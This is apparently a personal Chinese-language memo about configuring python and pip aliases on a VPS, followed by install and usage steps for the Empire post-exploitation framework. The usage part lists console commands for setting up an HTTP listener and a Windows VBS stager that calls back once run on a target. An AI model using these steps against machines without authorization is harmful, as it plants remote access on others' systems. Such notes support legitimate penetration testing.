vps python和pip的搭配
python和python3调用python3.9
python2单独调用python2.7
pip和pip3调用python3
pip2调用python2
方法
/usr/local/bin
修改pip和pip2,pip3的对应关系,如遇到报错,可直接使用批判
替换
我遇到的问题,想把python命令调用python3,pip也对应python3
- apt install python-is-python3
- cd /usr/local/bin,把之前的pip文件直接替换为pip3的文件
遇到的报错
找不到pip
1 empire找不到python3
2 empire连不到数据库
3 项目不更新了,费半天劲
This project is no longer supported
https://github.com/BC-SECURITY/Empire
4 安装参考
sudo pip3 install poetry
git clone --recursive https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh
sudo poetry install
sudo poetry run python empire
肯定能装上
5 操作参考
https://blog.csdn.net/fageweiketang/article/details/88020020?
./empire
help
uselistener http
info
set Name
set Host
execute
back
listener
usestager windows/launcher_vbs
info
set listener
execute
interact
双击等待上线即可,或者cmd执行start *.vbs